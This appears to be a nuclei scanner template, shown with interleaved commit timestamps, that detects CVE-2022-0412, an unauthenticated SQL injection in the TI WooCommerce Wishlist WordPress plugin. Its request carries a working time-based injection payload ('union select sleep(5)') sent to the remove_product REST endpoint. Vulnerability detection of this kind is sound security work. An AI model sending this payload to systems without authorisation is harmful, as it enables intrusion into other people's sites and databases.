nuclei-templates/cves/2022/CVE-2022-0412.yaml

43 lines
1.4 KiB
YAML
Raw Normal View History

2022-10-01 13:34:58 +00:00
id: CVE-2022-0412
info:
2022-10-01 13:46:23 +00:00
name: TI WooCommerce Wishlist WP plugin < 1.40.1 - SQL Injection
2022-10-01 13:34:58 +00:00
author: edoardottt
severity: critical
description: |
The TI WooCommerce Wishlist WordPress plugin before 1.40.1, TI WooCommerce Wishlist Pro WordPress plugin before 1.40.1 do not sanitise and escape the item_id parameter before using it in a SQL statement via the wishlist/remove_product REST endpoint, allowing unauthenticated attackers to perform SQL injection attacks.
reference:
- https://wpscan.com/vulnerability/e984ba11-abeb-4ed4-9dad-0bfd539a9682
2022-10-04 08:56:18 +00:00
- https://wordpress.org/plugins/ti-woocommerce-wishlist/advanced/
2022-10-01 13:34:58 +00:00
- https://nvd.nist.gov/vuln/detail/CVE-2022-0412
classification:
cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H
cvss-score: 9.8
2022-10-01 13:34:58 +00:00
cve-id: CVE-2022-0412
cwe-id: CWE-89
2022-10-04 08:56:18 +00:00
metadata:
verified: "true"
tags: sqli,ti-woocommerce-wishlist,wpscan,cve,cve2022,woocommerce,wordpress,wp-plugin,wp
2022-10-01 13:34:58 +00:00
requests:
2022-10-04 09:57:44 +00:00
- raw:
- |
@timeout: 10s
GET /?rest_route=/wc/v3/wishlist/remove_product/1&item_id=0%20union%20select%20sleep(5)%20--%20g HTTP/1.1
Host: {{Hostname}}
2022-10-01 13:34:58 +00:00
matchers-condition: and
matchers:
- type: dsl
dsl:
- 'duration>=5'
2022-10-04 08:56:18 +00:00
- type: word
part: body
words:
- 'Product not found'
2022-10-01 13:34:58 +00:00
- type: status
status:
2022-10-04 08:56:18 +00:00
- 400